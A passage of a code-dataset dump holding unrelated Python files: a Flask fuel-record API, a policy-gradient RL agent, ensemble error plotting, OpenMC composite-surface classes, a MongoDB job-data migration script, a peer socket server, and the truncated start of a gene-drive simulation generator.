available'.format(record_id)))\n\n def delete(self, record_id):\n record = FuelConsumptionRecord.query.filter_by(id=record_id)\\\n .first_or_404(description='Record with id={} is not available'.format(record_id))\n db.session.delete(record)\n db.session.commit()\n return '', 204\n\n def put(self, record_id):\n args = parser.parse_args()\n record = FuelConsumptionRecord.query.filter_by(id=record_id)\\\n .first_or_404(description='Record with id={} is not available'.format(record_id))\n record.odometer = args['odometer']\n record.fuelQuantity = args['fuelQuantity']\n db.session.commit()\n return FuelConsumptionRecord.serialize(record), 201","sub_path":"docker-api/fuelapp/resources/fuel_consumption.py","file_name":"fuel_consumption.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"308237897","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom collections import namedtuple\n\nn_hidden = 64\nLR_policy = 0.005\nLR_base = 0.005\nGAMMA = 0.99\nBATCH_SIZE = 64\n\nclass PolicyNet(nn.Module):\n def __init__(self, n_inputs, n_outputs):\n super(PolicyNet, self).__init__()\n self.fc1 = nn.Linear(n_inputs, n_hidden)\n self.fc1.weight.data.normal_(0, 0.3)\n self.fc2 = nn.Linear(n_hidden, n_outputs)\n self.fc2.weight.data.normal_(0, 0.3)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n return self.fc2(x)\n\nclass BaselineNet(nn.Module):\n def __init__(self, n_inputs):\n super(BaselineNet, self).__init__()\n self.fc1 = nn.Linear(n_inputs, n_hidden)\n self.fc1.weight.data.normal_(0, 0.3)\n self.fc2 = nn.Linear(n_hidden, 1)\n self.fc2.weight.data.normal_(0, 0.3)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n return self.fc2(x)\n\nTransition = namedtuple('Transition', ('state', 'action', 'reward', 'mask'))\n\nclass VPG():\n def __init__(self, n_obs, n_action, device):\n self.device = device\n self.n_action = n_action\n self.policy = PolicyNet(n_obs, n_action).to(device)\n self.baseline = BaselineNet(n_obs).to(device)\n self.policy_optim = torch.optim.Adam(self.policy.parameters(), lr=LR_policy)\n self.base_optim = torch.optim.Adam(self.baseline.parameters(), lr=LR_base)\n\n def select_action(self, state):\n with torch.no_grad():\n actions_prob = F.softmax(self.policy(state), 1).squeeze(0)\n action = np.random.choice(range(self.n_action), p=actions_prob.cpu().data.numpy()) # select action w.r.t the actions prob\n return action\n\n def _calc_Q(self, rewards, masks):\n Q = torch.zeros_like(rewards)\n q = 0\n for t in reversed(range(0, len(rewards))):\n q = rewards[t] + GAMMA * q * masks[t]\n Q[t] = q\n # Q = (Q - Q.mean()) / Q.std()\n return Q\n\n def _train_policy(self, states, actions, A):\n neg_log_p = F.cross_entropy(self.policy(states), actions, reduction='none')\n loss = torch.mean(neg_log_p * A)\n print('loss: %f' % loss.item())\n\n self.policy_optim.zero_grad()\n loss.backward()\n self.policy_optim.step()\n\n def _train_baseline(self, states, Q):\n criterion = torch.nn.MSELoss()\n n = states.shape[0]\n arr = np.arange(n)\n for epoch in range(5):\n np.random.shuffle(arr)\n\n for i in range(n // BATCH_SIZE):\n batch_index = arr[BATCH_SIZE * i: BATCH_SIZE * (i + 1)]\n batch_index = torch.tensor(batch_index, dtype=torch.long, device=self.device)\n inputs = states[batch_index]\n target = Q[batch_index]\n\n values = self.baseline(inputs).squeeze(1)\n loss = criterion(values, target)\n self.base_optim.zero_grad()\n loss.backward()\n self.base_optim.step()\n\n def train_model(self, memory):\n batch = Transition(*zip(*memory))\n states = torch.cat(batch.state)\n actions = torch.cat(batch.action)\n rewards = torch.cat(batch.reward)\n masks = torch.cat(batch.mask)\n\n Q = self._calc_Q(rewards, masks)\n V = self.baseline(states).squeeze(1).detach()\n A = Q - V\n self._train_policy(states, actions, A)\n self._train_baseline(states, Q)\n","sub_path":"policy/agent_vpg.py","file_name":"agent_vpg.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"374384647","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport os.path\nimport matplotlib.pyplot as plt\nfrom enscalibration import MODELS\nfrom regres import read_ens_coeffs\nfrom EnsembleClassifier import EnsembleClassifier \nfrom SelectionStrategy import NoneStrategy \n\nfrom sklearn.cross_validation import ShuffleSplit\nfrom math import sqrt\n\ndef read_data(fileName):\n data = list()\n with open(fileName, \"r\") as dataFile:\n line = dataFile.readline()\n while line:\n levels = line.strip().split(\"\\t\")\n levels = [float(lvl) for lvl in levels]\n if len(levels) == 1:\n levels = levels[0]\n# else:\n# levels = levels[1:] #TODO: Use full length\n data.append(levels) \n line = dataFile.readline()\n return data\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n artifacts_path = sys.argv[2]\n \n predictions = []\n for model in MODELS:\n m_file = os.path.join(path, model)\n prediction = read_data(m_file)\n predictions.append(prediction)\n \n# coeffsFile = os.path.join(\"../Data/\", \"ens_coefs.txt\")\n coeffsFile = os.path.join(path, \"ens_coef.txt\")\n \n measurements = read_data(os.path.join(path, \"mesur\"))\n \n coefs = list(read_ens_coeffs(coeffsFile))\n coefs.reverse()\n \n \n cnt=len(predictions[0])\n \n classifier = EnsembleClassifier(predictions, coefs, measurements)\n classifier.prepare(1)\n strategy = NoneStrategy(classifier)\n\n errors = []\n ml_errors = []\n pta_errors = [] #predicted-to-actual\n \n learn_len = 10\n operative_time = list(range(learn_len, cnt)) \n for i in operative_time:\n training_set = range(i - learn_len, i-1)\n \n# classifier.train(training_set)\n# ml, mlErr = classifier.predict_best_ensemble(i)\n# best, bestErr = classifier.get_best_ensemble(i)\n# ens, ensErr = classifier.get_biggest_ensemble(i) \n# errors.append((bestErr, ensErr, mlErr))\n \n strategy.retrain_classifier(training_set)\n err = strategy.get_next_ensemble(i)\n pta = classifier.get_predict_to_actual_error(i)\n errors.append(err[:3])\n ml_errors.append(err[-2])\n pta_errors.append(pta)\n \n \n errors_by_time = list(zip(*errors))\n# tmp.append(errors_by_time)\n [bestErr, ensErr, mlErr] = errors_by_time\n \n pta_by_ens = list(zip(*pta_errors))\n# css.append(classifier)\n# errs.append(ml_errors)\n \n plt.figure(figsize=[14,12])\n qs = abs(sqrt(len(coefs)))\n plt.suptitle(\"Predicted-to-actual error biplots\", fontsize=15)\n for ens, i in zip(pta_by_ens, range(len(pta_by_ens))): \n plt.subplot(qs,qs,i+1)\n models = MODELS\n plt.title(\", \".join([models[m] for m in range(len(models)) if coefs[i][m]]), fontsize=12)\n\n plt.xlabel(\"predicted\")\n plt.ylabel(\"actual\") \n \n plt.xlim(0,6)\n plt.ylim(0,6)\n \n [p,a] = list(zip(*ens))\n plt.plot([0,10], [0,10], c=\"0.5\")\n plt.plot(p, a, \"*\", c=\"b\") \n plt.show()\n \n\n plt.figure(figsize=(30,12)) \n \n operative_count = int(len(operative_time) / 3 - 20)\n ml_line, = plt.plot(operative_time,\n list(errors_by_time[2]), label=\"Predicted\") \n ens_line, = plt.plot(operative_time,\n list(errors_by_time[1]), label=\"Ensemble\")\n best_lb, = plt.plot(operative_time,\n list(errors_by_time[0]), \"*\", label=\"Best\")\n \n ml_line.set_antialiased(True)\n ens_line.set_antialiased(True) \n \n plt.ylabel(\"Mean error\", fontsize=15)\n plt.xlabel(\"Time\", fontsize=15)\n \n plt.legend(handles=[ml_line, ens_line, best_lb], fontsize=12)\n plt.title(\"Operative mode simulation with training set size=70\", fontsize=15) \n \n plt.show()\n plt.close()\n \n #Error boxplots\n plt.figure(figsize=[7, 7])\n# plt.suptitle(\"Error distribution\", fontsize = 15)\n\n plt.boxplot(errors_by_time, showmeans = True) #, whis = 'range')\n plt.xticks([1,2,3], [\"best\", \"ens\", \"ml\"], fontsize = 11)\n \n plt.xlabel(\"Ensemble selection approach\", fontsize = 13)\n plt.ylabel(\"Error\", fontsize=13)\n \n plt.axhline(mean(errors_by_time[2]), linestyle=\"--\")\n# plt.yticks(range(0,10))\n plt.show()\n plt.close()","sub_path":"Sources/error2.py","file_name":"error2.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"33932393","text":"from abc import ABC, abstractmethod\nfrom copy import copy\nfrom math import sqrt\nimport numpy as np\n\nimport openmc\nfrom openmc.checkvalue import check_greater_than, check_value\n\nclass CompositeSurface(ABC):\n \"\"\"Multiple primitive surfaces combined into a composite surface\"\"\"\n\n def translate(self, vector, inplace=False):\n surf = self if inplace else copy(self)\n for name in self._surface_names:\n s = getattr(surf, name)\n setattr(surf, name, s.translate(vector, inplace))\n return surf\n\n def rotate(self, rotation, pivot=(0., 0., 0.), order='xyz', inplace=False):\n surf = copy(self)\n for name in self._surface_names:\n s = getattr(surf, name)\n setattr(surf, name, s.rotate(rotation, pivot, order, inplace))\n return surf\n\n @property\n def boundary_type(self):\n return getattr(self, self._surface_names[0]).boundary_type\n\n @boundary_type.setter\n def boundary_type(self, boundary_type):\n # Set boundary type on underlying surfaces, but not for ambiguity plane\n # on one-sided cones\n for name in self._surface_names:\n if name != 'plane':\n getattr(self, name).boundary_type = boundary_type\n\n def __repr__(self):\n return \"<{} at 0x{:x}>\".format(type(self).__name__, id(self))\n\n @property\n @abstractmethod\n def _surface_names(self):\n \"\"\"Iterable of attribute names corresponding to underlying surfaces.\"\"\"\n\n @abstractmethod\n def __pos__(self):\n \"\"\"Return the positive half-space of the composite surface.\"\"\"\n\n @abstractmethod\n def __neg__(self):\n \"\"\"Return the negative half-space of the composite surface.\"\"\"\n\n\nclass IsogonalOctagon(CompositeSurface):\n \"\"\"Infinite isogonal octagon composite surface\n\n An isogonal octagon is composed of eight planar surfaces. The prism is\n parallel to the x, y, or z axis. The remaining two axes (y and z, z and x,\n or x and y) serve as a basis for constructing the surfaces. Two surfaces\n are parallel to the first basis axis, two surfaces are parallel\n to the second basis axis, and the remaining four surfaces intersect both\n basis axes at 45 degree angles.\n\n This class acts as a proper surface, meaning that unary `+` and `-`\n operators applied to it will produce a half-space. The negative side is\n defined to be the region inside of the octogonal prism.\n\n Parameters\n ----------\n center : iterable of float\n Coordinate for the central axis of the octagon in the\n (y, z), (z, x), or (x, y) basis.\n r1 : float\n Half-width of octagon across its basis axis-parallel sides in units\n of cm. Must be less than :math:`r_2\\sqrt{2}`.\n r2 : float\n Half-width of octagon across its basis axis intersecting sides in\n units of cm. Must be less than than :math:`r_1\\sqrt{2}`.\n axis : {'x', 'y', 'z'}\n Central axis of octagon. Defaults to 'z'\n **kwargs\n Keyword arguments passed to underlying plane classes\n\n Attributes\n ----------\n top : openmc.ZPlane, openmc.XPlane, or openmc.YPlane\n Top planar surface of octagon\n bottom : openmc.ZPlane, openmc.XPlane, or openmc.YPlane\n Bottom planar surface of octagon\n right : openmc.YPlane, openmc.ZPlane, or openmc.XPlane\n Right planar surface of octagon\n left : openmc.YPlane, openmc.ZPlane, or openmc.XPlane\n Left planar surface of octagon\n upper_right : openmc.Plane\n Upper right planar surface of octagon\n lower_right : openmc.Plane\n Lower right planar surface of octagon\n lower_left : openmc.Plane\n Lower left planar surface of octagon\n upper_left : openmc.Plane\n Upper left planar surface of octagon\n\n \"\"\"\n\n _surface_names = ('top', 'bottom',\n 'upper_right', 'lower_left',\n 'right', 'left',\n 'lower_right', 'upper_left')\n\n def __init__(self, center, r1, r2, axis='z', **kwargs):\n c1, c2 = center\n\n # Coords for axis-perpendicular planes\n ctop = c1 + r1\n cbottom = c1 - r1\n\n cright = c2 + r1\n cleft = c2 - r1\n\n # Side lengths\n if r2 > r1 * sqrt(2):\n raise ValueError(f'r2 is greater than sqrt(2) * r1. Octagon' + \\\n ' may be erroneous.')\n if r1 > r2 * sqrt(2):\n raise ValueError(f'r1 is greater than sqrt(2) * r2. Octagon' + \\\n ' may be erroneous.')\n\n L_basis_ax = (r2 * sqrt(2) - r1)\n\n # Coords for quadrant planes\n p1_ur = np.array([L_basis_ax, r1, 0.])\n p2_ur = np.array([r1, L_basis_ax, 0.])\n p3_ur = np.array([r1, L_basis_ax, 1.])\n\n p1_lr = np.array([r1, -L_basis_ax, 0.])\n p2_lr = np.array([L_basis_ax, -r1, 0.])\n p3_lr = np.array([L_basis_ax, -r1, 1.])\n\n points = [p1_ur, p2_ur, p3_ur, p1_lr, p2_lr, p3_lr]\n\n # Orientation specific variables\n if axis == 'z':\n coord_map = [0, 1, 2]\n self.top = openmc.YPlane(ctop, **kwargs)\n self.bottom = openmc.YPlane(cbottom, **kwargs)\n self.right = openmc.XPlane(cright, **kwargs)\n self.left = openmc.XPlane(cleft, **kwargs)\n elif axis == 'y':\n coord_map = [1, 2, 0]\n self.top = openmc.XPlane(ctop, **kwargs)\n self.bottom = openmc.XPlane(cbottom, **kwargs)\n self.right = openmc.ZPlane(cright, **kwargs)\n self.left = openmc.ZPlane(cleft, **kwargs)\n elif axis == 'x':\n coord_map = [2, 0, 1]\n self.top = openmc.ZPlane(ctop, **kwargs)\n self.bottom = openmc.ZPlane(cbottom, **kwargs)\n self.right = openmc.YPlane(cright, **kwargs)\n self.left = openmc.YPlane(cleft, **kwargs)\n\n # Put our coordinates in (x,y,z) order\n for p in points:\n p[:] = p[coord_map]\n\n self.upper_right = openmc.Plane.from_points(p1_ur, p2_ur, p3_ur,\n **kwargs)\n self.lower_right = openmc.Plane.from_points(p1_lr, p2_lr, p3_lr,\n **kwargs)\n self.lower_left = openmc.Plane.from_points(-p1_ur, -p2_ur, -p3_ur,\n **kwargs)\n self.upper_left = openmc.Plane.from_points(-p1_lr, -p2_lr, -p3_lr,\n **kwargs)\n\n def __neg__(self):\n return -self.top & +self.bottom & -self.right & +self.left & \\\n +self.upper_right & +self.lower_right & -self.lower_left & \\\n -self.upper_left\n\n def __pos__(self):\n return +self.top | -self.bottom | +self.right | -self.left | \\\n -self.upper_right | -self.lower_right | +self.lower_left | \\\n +self.upper_left\n\n\nclass RightCircularCylinder(CompositeSurface):\n \"\"\"Right circular cylinder composite surface\n\n A right circular cylinder is composed of a cylinder and two planar surface\n perpendicular to the axis of the cylinder. This class acts as a proper\n surface, meaning that unary `+` and `-` operators applied to it will produce\n a half-space. The negative side is defined to be the region inside of the\n right circular cylinder.\n\n .. versionadded:: 0.12\n\n Parameters\n ----------\n center_base : iterable of float\n Cartesian coordinate of the center of the base of the cylinder\n height : float\n Height of the cylinder\n radius : float\n Radius of the cylinder\n axis : {'x', 'y', 'z'}\n Axis of the cylinder\n **kwargs\n Keyword arguments passed to underlying cylinder and plane classes\n\n Attributes\n ----------\n cyl : openmc.Cylinder\n Underlying cylinder surface\n bottom : openmc.Plane\n Bottom planar surface of the cylinder\n top : openmc.Plane\n Top planar surface of the cylinder\n\n \"\"\"\n _surface_names = ('cyl', 'bottom', 'top')\n\n def __init__(self, center_base, height, radius, axis='z', **kwargs):\n cx, cy, cz = center_base\n check_greater_than('cylinder height', height, 0.0)\n check_greater_than('cylinder radius', radius, 0.0)\n check_value('cylinder axis', axis, ('x', 'y', 'z'))\n if axis == 'x':\n self.cyl = openmc.XCylinder(y0=cy, z0=cz, r=radius, **kwargs)\n self.bottom = openmc.XPlane(x0=cx, **kwargs)\n self.top = openmc.XPlane(x0=cx + height, **kwargs)\n elif axis == 'y':\n self.cyl = openmc.YCylinder(x0=cx, z0=cz, r=radius, **kwargs)\n self.bottom = openmc.YPlane(y0=cy, **kwargs)\n self.top = openmc.YPlane(y0=cy + height, **kwargs)\n elif axis == 'z':\n self.cyl = openmc.ZCylinder(x0=cx, y0=cy, r=radius, **kwargs)\n self.bottom = openmc.ZPlane(z0=cz, **kwargs)\n self.top = openmc.ZPlane(z0=cz + height, **kwargs)\n\n def __neg__(self):\n return -self.cyl & +self.bottom & -self.top\n\n def __pos__(self):\n return +self.cyl | -self.bottom | +self.top\n\n\nclass RectangularParallelepiped(CompositeSurface):\n \"\"\"Rectangular parallelpiped composite surface\n\n A rectangular parallelpiped is composed of six planar surfaces. This class\n acts as a proper surface, meaning that unary `+` and `-` operators applied\n to it will produce a half-space. The negative side is defined to be the\n region inside of the rectangular parallelpiped.\n\n .. versionadded:: 0.12\n\n Parameters\n ----------\n xmin, xmax : float\n Minimum and maximum x coordinates of the parallelepiped\n ymin, ymax : float\n Minimum and maximum y coordinates of the parallelepiped\n zmin, zmax : float\n Minimum and maximum z coordinates of the parallelepiped\n **kwargs\n Keyword arguments passed to underlying plane classes\n\n Attributes\n ----------\n xmin, xmax : openmc.XPlane\n Sides of the parallelepiped\n ymin, ymax : openmc.YPlane\n Sides of the parallelepiped\n zmin, zmax : openmc.ZPlane\n Sides of the parallelepiped\n\n \"\"\"\n _surface_names = ('xmin', 'xmax', 'ymin', 'ymax', 'zmin', 'zmax')\n\n def __init__(self, xmin, xmax, ymin, ymax, zmin, zmax, **kwargs):\n if xmin >= xmax:\n raise ValueError('xmin must be less than xmax')\n if ymin >= ymax:\n raise ValueError('ymin must be less than ymax')\n if zmin >= zmax:\n raise ValueError('zmin must be less than zmax')\n self.xmin = openmc.XPlane(x0=xmin, **kwargs)\n self.xmax = openmc.XPlane(x0=xmax, **kwargs)\n self.ymin = openmc.YPlane(y0=ymin, **kwargs)\n self.ymax = openmc.YPlane(y0=ymax, **kwargs)\n self.zmin = openmc.ZPlane(z0=zmin, **kwargs)\n self.zmax = openmc.ZPlane(z0=zmax, **kwargs)\n\n def __neg__(self):\n return +self.xmin & -self.xmax & +self.ymin & -self.ymax & +self.zmin & -self.zmax\n\n def __pos__(self):\n return -self.xmin | +self.xmax | -self.ymin | +self.ymax | -self.zmin | +self.zmax\n\n\nclass XConeOneSided(CompositeSurface):\n \"\"\"One-sided cone parallel the x-axis\n\n A one-sided cone is composed of a normal cone surface and an \"ambiguity\"\n surface that eliminates the ambiguity as to which region of space is\n included. This class acts as a proper surface, meaning that unary `+` and\n `-` operators applied to it will produce a half-space. The negative side is\n defined to be the region inside of the cone.\n\n .. versionadded:: 0.12\n\n Parameters\n ----------\n x0 : float, optional\n x-coordinate of the apex. Defaults to 0.\n y0 : float, optional\n y-coordinate of the apex. Defaults to 0.\n z0 : float, optional\n z-coordinate of the apex. Defaults to 0.\n r2 : float, optional\n Parameter related to the aperature. Defaults to 1.\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n **kwargs\n Keyword arguments passed to underlying plane classes\n\n Attributes\n ----------\n cone : openmc.XCone\n Regular two-sided cone\n plane : openmc.XPlane\n Ambiguity surface\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n\n \"\"\"\n _surface_names = ('cone', 'plane')\n\n def __init__(self, x0=0., y0=0., z0=0., r2=1., up=True, **kwargs):\n check_greater_than('cone R^2', r2, 0.0)\n self.cone = openmc.XCone(x0, y0, z0, r2, **kwargs)\n self.plane = openmc.XPlane(x0)\n self.up = up\n\n def __neg__(self):\n return -self.cone & (+self.plane if self.up else -self.plane)\n\n def __pos__(self):\n if self.up:\n return (+self.cone & +self.plane) | -self.plane\n else:\n return (+self.cone & -self.plane) | +self.plane\n\n\nclass YConeOneSided(CompositeSurface):\n \"\"\"One-sided cone parallel the y-axis\n\n A one-sided cone is composed of a normal cone surface and an \"ambiguity\"\n surface that eliminates the ambiguity as to which region of space is\n included. This class acts as a proper surface, meaning that unary `+` and\n `-` operators applied to it will produce a half-space. The negative side is\n defined to be the region inside of the cone.\n\n .. versionadded:: 0.12\n\n Parameters\n ----------\n x0 : float, optional\n x-coordinate of the apex. Defaults to 0.\n y0 : float, optional\n y-coordinate of the apex. Defaults to 0.\n z0 : float, optional\n z-coordinate of the apex. Defaults to 0.\n r2 : float, optional\n Parameter related to the aperature. Defaults to 1.\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n **kwargs\n Keyword arguments passed to underlying plane classes\n\n Attributes\n ----------\n cone : openmc.YCone\n Regular two-sided cone\n plane : openmc.YPlane\n Ambiguity surface\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n\n \"\"\"\n _surface_names = ('cone', 'plane')\n\n def __init__(self, x0=0., y0=0., z0=0., r2=1., up=True, **kwargs):\n check_greater_than('cone R^2', r2, 0.0)\n self.cone = openmc.YCone(x0, y0, z0, r2, **kwargs)\n self.plane = openmc.YPlane(y0)\n self.up = up\n\n __neg__ = XConeOneSided.__neg__\n __pos__ = XConeOneSided.__pos__\n\n\nclass ZConeOneSided(CompositeSurface):\n \"\"\"One-sided cone parallel the z-axis\n\n A one-sided cone is composed of a normal cone surface and an \"ambiguity\"\n surface that eliminates the ambiguity as to which region of space is\n included. This class acts as a proper surface, meaning that unary `+` and\n `-` operators applied to it will produce a half-space. The negative side is\n defined to be the region inside of the cone.\n\n .. versionadded:: 0.12\n\n Parameters\n ----------\n x0 : float, optional\n x-coordinate of the apex. Defaults to 0.\n y0 : float, optional\n y-coordinate of the apex. Defaults to 0.\n z0 : float, optional\n z-coordinate of the apex. Defaults to 0.\n r2 : float, optional\n Parameter related to the aperature. Defaults to 1.\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n **kwargs\n Keyword arguments passed to underlying plane classes\n\n Attributes\n ----------\n cone : openmc.ZCone\n Regular two-sided cone\n plane : openmc.ZPlane\n Ambiguity surface\n up : bool\n Whether to select the side of the cone that extends to infinity in the\n positive direction of the coordinate axis (the positive half-space of\n the ambiguity plane)\n\n \"\"\"\n _surface_names = ('cone', 'plane')\n\n def __init__(self, x0=0., y0=0., z0=0., r2=1., up=True, **kwargs):\n check_greater_than('cone R^2', r2, 0.0)\n self.cone = openmc.ZCone(x0, y0, z0, r2, **kwargs)\n self.plane = openmc.ZPlane(z0)\n self.up = up\n\n __neg__ = XConeOneSided.__neg__\n __pos__ = XConeOneSided.__pos__\n","sub_path":"openmc/model/surface_composite.py","file_name":"surface_composite.py","file_ext":"py","file_size_in_byte":16626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"210028786","text":"# -*- coding: utf-8 -*-\nimport os, sys, re, json\nimport datetime\nfrom pymongo import MongoClient\nimport pymongo\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../../util'))\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../support'))\nimport loghelper, config, util\nimport db\n\n#logger\nloghelper.init_logger(\"lagou\", stream=True)\nlogger = loghelper.get_logger(\"lagou\")\n\n\n#mongo\nmongo = db.connect_mongo()\ncollection = mongo.job.job\n\ncollection_lagou = mongo.trend.jobs\n\ndef save_job_mongo(company_id, jobs, offline):\n for job in jobs:\n # jobitems = list(collection.find({\"source\":13050, \"sourceId\": job[\"sourceId\"], \"offline\": 'N'}))\n # if len(jobitems) == 0:\n # jobitems = list(collection.find({\"source\":13050, \"companyId\":company_id, \"offline\": 'N'}))\n jobitems=[]\n newflag = True\n\n for jobitem in jobitems:\n if jobitem[\"companyId\"]==company_id and jobitem[\"position\"]==job[\"position\"] and jobitem[\"salary\"]==job[\"salary\"] and \\\n jobitem[\"educationType\"]==job[\"educationType\"] and jobitem[\"locationId\"]==job[\"locationId\"] and jobitem[\"workYearType\"]==job[\"workYearType\"]:\n logger.info(\"Same job for existed and we got, update updateTime for job:%s for company:%s\", job[\"position\"], job[\"companyId\"])\n updateflag = True\n newflag = False\n for updatetime in jobitem[\"updateDates\"]:\n if updatetime.date() == job[\"updateDate\"].date(): updateflag = False; break\n if updateflag is True:\n collection.update_one({\"_id\": jobitem[\"_id\"]},{'$set': {\"sourceId\":job[\"sourceId\"]},'$addToSet': {\"updateDates\": job[\"updateDate\"]}})\n break\n\n if newflag is True:\n logger.info(\"add new job:%s for company:%s\", job[\"position\"], job[\"companyId\"])\n item = {\n \"source\": 13050, \"sourceId\": job[\"sourceId\"], \"companyId\": int(company_id),\n \"position\": job[\"position\"], \"salary\": job[\"salary\"],\n \"description\": job[\"description\"], \"domain\": int(job[\"domain\"]),\n \"locationId\": int(job[\"locationId\"]), \"educationType\": int(job[\"educationType\"]),\n \"workYearType\": int(job[\"workYearType\"]),\n # \"jobNature\":job[\"jobNature\"],\"positionAdvantage\": job[\"positionAdvantage\"],\n # \"companyLabelList\": job[\"companyLabelList\"],\"financeStage\": job[\"financeStage\"], \"district\": job[\"district\"],\n \"startDate\": job[\"updateDate\"] - datetime.timedelta(hours=8), \"offline\": offline,\n \"updateDate\": job[\"updateDate\"] - datetime.timedelta(hours=8),\n \"updateDates\": [job[\"updateDate\"] - datetime.timedelta(hours=8)],\n \"createTime\": job[\"createTime\"], \"modifyTime\": job[\"modifyTime\"],\n \"active\": None, \"verify\": None, \"createUser\": None, \"modifyUser\": None}\n\n collection.insert(item)\n\ndef save_job_mongo_2(job):\n\n newflag = True\n last_update = None\n\n for ud in job[\"updateDates\"]:\n if last_update is None: last_update = ud\n else:\n if ud > last_update: last_update = ud\n\n if newflag is True:\n logger.info(\"add new job:%s|%s for company:%s\", job[\"position\"], last_update, job[\"companyId\"])\n logger.info(\"%s,%s\", last_update, job[\"updateDates\"])\n item = {\n \"source\": 13050, \"sourceId\": job[\"sourceId\"], \"companyId\": job[\"companyId\"],\n \"position\": job[\"position\"], \"salary\": job[\"salary\"],\n \"description\": job[\"description\"], \"domain\": int(job[\"domain\"]),\n \"locationId\": int(job[\"locationId\"]), \"educationType\": int(job[\"educationType\"]),\n \"workYearType\": int(job[\"workYearType\"]),\n # \"jobNature\":job[\"jobNature\"],\"positionAdvantage\": job[\"positionAdvantage\"],\n # \"companyLabelList\": job[\"companyLabelList\"],\"financeStage\": job[\"financeStage\"], \"district\": job[\"district\"],\n \"startDate\": job[\"startDate\"], \"offline\": job[\"offline\"],\n \"updateDate\": last_update,\n \"updateDates\": job[\"updateDates\"],\n \"createTime\": job[\"createTime\"], \"modifyTime\": job[\"modifyTime\"],\n \"active\": None, \"verify\": None, \"createUser\": None, \"modifyUser\": None}\n\n collection.insert(item)\n\n\n\nif __name__ == \"__main__\":\n start = 0\n num = 0\n cid = 0\n # while True:\n # conn = db.connect_torndb()\n # jobs = list(conn.query(\"select * from job where offline='Y' and modifyTime<'2017-02-05'\"))\n # if len(jobs) == 0:\n # break\n #\n # for job in jobs:\n # job[\"sourceId\"] = None\n # save_job_mongo(job[\"companyId\"],[job], 'Y')\n # # break\n #\n # conn.close()\n # break\n\n while True:\n logger.info(\"lagou start...\")\n # run(appmkt, WandoujiaCrawler(), \"com.ctd.m3gd\")\n jobs = list(collection_lagou.find({\"m_processed\": {\"$ne\": True}},limit=2000))\n for job in jobs:\n save_job_mongo_2(job)\n collection_lagou.update_one({\"_id\": job[\"_id\"]},{\"$set\":{\"m_processed\": True}})\n logger.info(\"lagou end.\")\n\n # break\n\n\n\n\n","sub_path":"data/spider2/crawler/trend/lagou_migrate.py","file_name":"lagou_migrate.py","file_ext":"py","file_size_in_byte":5393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"332614288","text":"from threading import Thread\nimport socket\n\nfrom Peer import Peer\n\nclass PeerServer():\n\n def __init__(self, host, port):\n self.thread = Thread(target=self.handle_incoming_connection, args=(host, port))\n self.thread.start()\n\n def handle_incoming_connection(self, host, port):\n # SOCK_DGRAM corresponds to a UDP socket\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n # sock.setblocking(False)\n sock.bind((host, port))\n sock.listen(5)\n while True:\n conn, address = sock.accept()\n incoming_ip, incoming_port = address\n\n # Handle incoming connection\n print(f'Incoming connection from {incoming_ip}:{incoming_port}')\n Peer(sock=conn)\n\n","sub_path":"PeerServer.py","file_name":"PeerServer.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"99990970","text":"# Author: Sam Champer\n#\n# Created in association with Jackson Champer,\n# working with Messer Lab at Cornell University.\n# Program for modeling release of gene drive\n# individuals into wild population under various circumstances.\n\nimport sys\nimport subprocess\nfrom datetime import date\n\n# Global vars:\n# Germline resistance rates:\nDROSOPHILA = 0.3\nANOPHELES = 0.02\n\n###############\n# Global configuration:\n###############\nGERMLINE_RESISTANCE_RATE = ANOPHELES # DROSOPHILA or ANOPHELES\n\n\ndef generate_slim(drive_ftiness=1.0,\n embryo_resistance=0.0,\n germline_resistance=GERMLINE_RESISTANCE_RATE,\n haplolethal=False,\n haplosufficient=False,\n grna_count=1):\n \"\"\"\n Configure a slim input file to be run and parsed.\n Slim file configuration is based on args to this function.\n :param drive_ftiness: The fitness of a drive homozygote.\n :param embryo_resistance: Rate at which resistance in embryo in drive homozygote.\n :param germline_resistance: Rate at which resistance forms in germline.\n :param haplolethal: Boolean that sets drive to be haplolethal.\n :param haplosufficient: Boolean that sets drive to be recessive lethal.\n :return: None. Generates a file.\n \"\"\"\n # Configure the head of the slim file to reflect desired parameters.\n slim_head = \"initialize() {\\n \" +\\\n \"defineConstant(\\\"DRIVE_FITNESS_VALUE\\\", {});\\n\\\n defineConstant(\\\"EMBRYO_RESISTANCE_RATE\\\", {});\\n\\\n defineConstant(\\\"GERMLINE_RESISTANCE_RATE\\\", {});\\n\\\n defineConstant(\\\"HAPLOLETHAL\\\", {});\\n\\\n defineConstant(\\\"HAPLOSUFFICIENT\\\", {});\\n /*\\n\".format(\n drive_ftiness, embryo_resistance, 